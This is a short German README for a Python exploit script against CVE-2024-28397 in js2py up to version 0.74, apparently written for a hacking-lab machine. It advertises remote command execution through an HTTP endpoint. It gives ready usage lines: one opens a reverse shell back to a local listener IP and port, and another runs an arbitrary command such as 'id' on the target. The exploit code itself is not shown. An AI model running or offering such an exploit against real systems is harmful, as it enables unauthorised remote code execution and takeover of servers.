
Python-Exploit-Skript für CVE-2024-28397, das auf js2py <= v0.74 abzielt. Unterstützt Reverse Shell und benutzerdefinierte Befehlsausführung über einen HTTP-Endpunkt.
Standard-Reverse-Shell-Payload und optionales Befehlsargument erlaubt
Exploit funktioniert für js2py <= v0.74
requests-Bibliothek (pip install requests)Reverse Shell:
python exploit.py 10.129.227.108 /run_code --local_ip 10.10.14.71 --local_port 4444
Benutzerdefinierter Befehl:
python exploit.py 10.129.227.108 /run_code --cmd "id"